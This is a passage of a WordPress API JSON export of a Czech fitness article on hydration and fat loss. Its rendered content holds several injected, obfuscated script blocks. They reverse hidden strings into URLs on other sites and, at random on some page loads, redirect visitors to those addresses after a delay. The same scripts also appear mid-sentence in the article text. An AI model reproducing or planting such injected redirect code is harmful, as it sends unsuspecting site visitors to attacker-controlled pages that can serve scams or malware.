$Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to u\u017e\u00edv\u00e1 nejr\u016fzn\u011bj\u0161\u00ed l\u00e9ky podporuj\u00edc\u00ed ztr\u00e1ty tekutin. Sportuj\u00edc\u00ed senior by si t\u00edm p\u00e1dem m\u011bl hydrataci hl\u00eddat opravdu pe\u010dliv\u011b.<\/p>\n\n\n\n<p><strong>Ale vra\u0165me se k&nbsp;odpov\u011bdi na ot\u00e1zku v&nbsp;nadpisu. Ano, voda v\u00e1m se spalov\u00e1n\u00edm tuk\u016f rozhodn\u011b pom\u016f\u017ee. Aby mohl proces odbour\u00e1v\u00e1n\u00ed tukov\u00fdch rezerv v&nbsp;t\u011ble prob\u00edhat, pot\u0159ebujete splnit dv\u011b z\u00e1kladn\u00ed podm\u00ednky. Jednou z&nbsp;nich je vytvo\u0159en\u00ed kalorick\u00e9ho deficitu, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou druhou pak adekv\u00e1tn\u00ed hydratace, bez n\u00ed\u017e nen\u00ed metabolismus schopen optim\u00e1ln\u011b fungovat.<\/strong><\/p>\n\n\n\n<p>Zdroje:<\/p>\n\n\n\n<p><a href=\"https:\/\/www.ncbi.nlm.nih.gov\/pmc\/articles\/PMC6209729\/\">https:\/\/www.ncbi.nlm.nih.gov\/pmc\/articles\/PMC6209729\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/pubmed.ncbi.nlm.nih.gov\/19661958\/\">https:\/\/pubmed.ncbi.nlm.nih.gov\/19661958\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>D\u0159\u00edv, ne\u017e utrat\u00edte nemal\u00e9 pen\u00edze za spalova\u010de, ujist\u011bte se, \u017ee jste ud\u011blali maximum pro to, abyste podpo\u0159ili odbour\u00e1v\u00e1n\u00ed tuk\u016f adekv\u00e1tn\u011b sestaven\u00fdm j\u00eddeln\u00ed\u010dkem a v&nbsp;neposledn\u00ed \u0159ad\u011b dostate\u010dn\u00fdm pitn\u00fdm re\u017eimem. Podce\u0148ovan\u00e1 hydratace Ani sebelep\u0161\u00ed suplement v\u00e1m optim\u00e1ln\u00ed v\u00fdsledky nezajist\u00ed, pokud podcen\u00edte hydrataci. Pitn\u00fd re\u017eim toti\u017e ovlivn\u00ed va\u0161e zdrav\u00ed a sportovn\u00ed v\u00fdkonnost v\u00edc, ne\u017e si mo\u017en\u00e1 mysl\u00edte. Voda konec konc\u016f tvo\u0159\u00ed v\u00edce ne\u017e polovinu objemu lidsk\u00e9ho t\u011bla. Svalov\u00e1 tk\u00e1\u0148 sama o sob\u011b je ze 79 % slo\u017een\u00e1 z&nbsp;vody. A takov\u00e1 jednozna\u010dn\u00e1 fakta asi dostate\u010dn\u011b vypov\u00eddaj\u00ed o tom, jak kl\u00ed\u010dovou roli voda v&nbsp;t\u011ble hraje. Sta\u010d\u00ed m\u00edrn\u00e1 dehydratace a u\u017e se budete c\u00edtit unaven\u00ed, dojde k&nbsp;poklesu v\u00fdkonnosti a nebudete schopni zvl\u00e1dnout tr\u00e9nink na 100 %. Asi pak nen\u00ed t\u0159eba dod\u00e1vat, \u017ee nekvalitn\u00ed tr\u00e9nink nem\u016f\u017ee nikdy v\u00e9st ke kvalitn\u00edm v\u00fdsledk\u016fm. A\u010dkoliv tedy voda sama o sob\u011b nen\u00ed zdrojem energie, pro norm\u00e1ln\u00ed fungov\u00e1n\u00ed organismu je extr\u00e9mn\u011b d\u016fle\u017eit\u00e1. Jak se pitn\u00fd re\u017eim pod\u00edl\u00ed na spalov\u00e1n\u00ed tuk\u016f? Krom\u011b toho, \u017ee v\u00e1m dostate\u010dn\u00fd p\u0159\u00edjem tekutin zajist\u00ed, aby bylo t\u011blo schopno podat maxim\u00e1ln\u00ed v\u00fdkon, je tu n\u011bkolik dal\u0161\u00edch \u00fa\u010dink\u016f, kter\u00e9 byste m\u011bli m\u00edt na pam\u011bti: Jakmile se ozve nep\u0159\u00edjemn\u00e9 kru\u010den\u00ed v&nbsp;b\u0159i\u0161e, vypijte 4 dcl vody, ide\u00e1ln\u011b studen\u00e9. Ano, i teplota konzumovan\u00e9 vody hraje roli. Studenou vodu toti\u017e organismus mus\u00ed oh\u0159\u00e1t na vhodnou teplotu, a p\u0159itom doch\u00e1z\u00ed k&nbsp;v\u00fddeji energie. A proto\u017ee r\u010den\u00ed, \u017ee hlad je p\u0159evle\u010den\u00e1 \u017e\u00edze\u0148 m\u00e1 rozhodn\u011b svoje opodstatn\u011bn\u00ed, kdy\u017e se p\u0159ed j\u00eddlem napijete, n\u00e1sledn\u011b toho tolik nesn\u00edte. Podle odborn\u00edk\u016f plat\u00ed, \u017ee pokud denn\u011b vypijete dva litry vody, nav\u00fd\u0161\u00ed se v\u00fddej energie o zhruba 25 kcal d\u00edky termogenn\u00ed reakci a rychlej\u0161\u00ed \u010dinnosti metabolismu. Mo\u017en\u00e1 se v\u00e1m to mno\u017estv\u00ed zd\u00e1 zanedbateln\u00e9, ale v\u011b\u0159te, \u017ee ka\u017ed\u00e1 kalorie se po\u010d\u00edt\u00e1. Ned\u00e1vno byla provedena studie, kter\u00e1 prok\u00e1zala, \u017ee pokud lid\u00e9 konzumovali 0,5 litru vody p\u0159ed ka\u017ed\u00fdm j\u00eddlem, sn\u00ed\u017eila se jejich v\u00e1ha b\u011bhem 12 t\u00fddn\u016f o 44 % v\u00edc v&nbsp;porovn\u00e1n\u00ed se skupinou, kter\u00e1 vodu p\u0159ed j\u00eddlem nepila. Na pocit \u017e\u00edzn\u011b nespol\u00e9hejte Pokud si mysl\u00edte, \u017ee m\u016f\u017eete p\u0159\u00edjem tekutin \u0159\u00eddit v\u00fdhradn\u011b pocitem \u017e\u00edzn\u011b, jste na omylu. To rozhodn\u011b nen\u00ed relevantn\u00ed indik\u00e1tor. Spousta lid\u00ed za\u010dne m\u00edt \u017e\u00edze\u0148, a\u017e kdy\u017e se u nich u\u017e projev\u00ed prvn\u00ed p\u0159\u00edznaky m\u00edrn\u00e9 dehydratace. Tedy ve chv\u00edli, kdy\u017e se c\u00edt\u00ed unaven\u00ed a bol\u00ed je hlava. Mnohem p\u0159esn\u011bj\u0161\u00edm ukazatelem je barva mo\u010di. Pokud je b\u011bhem dne va\u0161e mo\u010d \u010dir\u00e1 a sv\u011btl\u00e1, nejsp\u00ed\u0161 jste na tom s&nbsp;p\u0159\u00edjmem tekutin dob\u0159e. Jen si dejte pozor na n\u011bkter\u00e9 potraviny, kter\u00e9 mohou zp\u016fsobit zabarven\u00ed mo\u010di (nap\u0159\u00edklad \u010derven\u00e1 \u0159epa). Vy\u0161\u0161\u00ed p\u0159\u00edjem tekutin je pak samoz\u0159ejm\u011b nezbytn\u00fd, pokud pob\u00fdv\u00e1te v&nbsp;tepl\u00e9m, vlhk\u00e9m prost\u0159ed\u00ed, zejm\u00e9na, kdy\u017e v&nbsp;takov\u00fdch podm\u00ednk\u00e1ch vyv\u00edj\u00edte fyzickou aktivitu (tr\u00e9nink). N\u00e1roky na hydrataci d\u00e1le rostou u t\u011bhotn\u00fdch a koj\u00edc\u00edch \u017een, u nemocn\u00fdch (pr\u016fjem, hore\u010dka, zvracen\u00ed) a v&nbsp;neposledn\u00ed \u0159ad\u011b by si pravideln\u00fd p\u0159\u00edjem tekutin m\u011bli hl\u00eddat senio\u0159i, u nich\u017e je riziko hydratace nav\u00fd\u0161eno vlivem procesu st\u00e1rnut\u00ed, kdy se v&nbsp;t\u011ble sni\u017euje pod\u00edl vody. Sou\u010dasn\u011b tato v\u011bkov\u00e1 skupina \u010dasto u\u017e\u00edv\u00e1 nejr\u016fzn\u011bj\u0161\u00ed l\u00e9ky podporuj\u00edc\u00ed ztr\u00e1ty tekutin. Sportuj\u00edc\u00ed senior by si t\u00edm p\u00e1dem m\u011bl hydrataci hl\u00eddat opravdu pe\u010dliv\u011b. Ale vra\u0165me se k&nbsp;odpov\u011bdi na ot\u00e1zku v&nbsp;nadpisu. Ano, voda v\u00e1m se spalov\u00e1n\u00edm tuk\u016f rozhodn\u011b pom\u016f\u017ee. Aby mohl proces odbour\u00e1v\u00e1n\u00ed tukov\u00fdch rezerv v&nbsp;t\u011ble prob\u00edhat, pot\u0159ebujete splnit dv\u011b z\u00e1kladn\u00ed podm\u00ednky. Jednou z&nbsp;nich je vytvo\u0159en\u00ed kalorick\u00e9ho deficitu, tou druhou pak adekv\u00e1tn\u00ed hydratace, bez n\u00ed\u017e nen\u00ed metabolismus schopen optim\u00e1ln\u011b fungovat. Zdroje: https:\/\/www.ncbi.nlm.nih.gov\/pmc\/articles\/PMC6209729\/ https:\/\/pubmed.ncbi.nlm.nih.gov\/19661958\/<\/p>\n","protected":false},"author":2,"featured_media":859,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-858","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/858","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=858"}],"version-history":[{"count":1,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/858\/revisions"}],"predecessor-version":[{"id":860,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/858\/revisions\/860"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/859"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=858"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=858"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=858"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}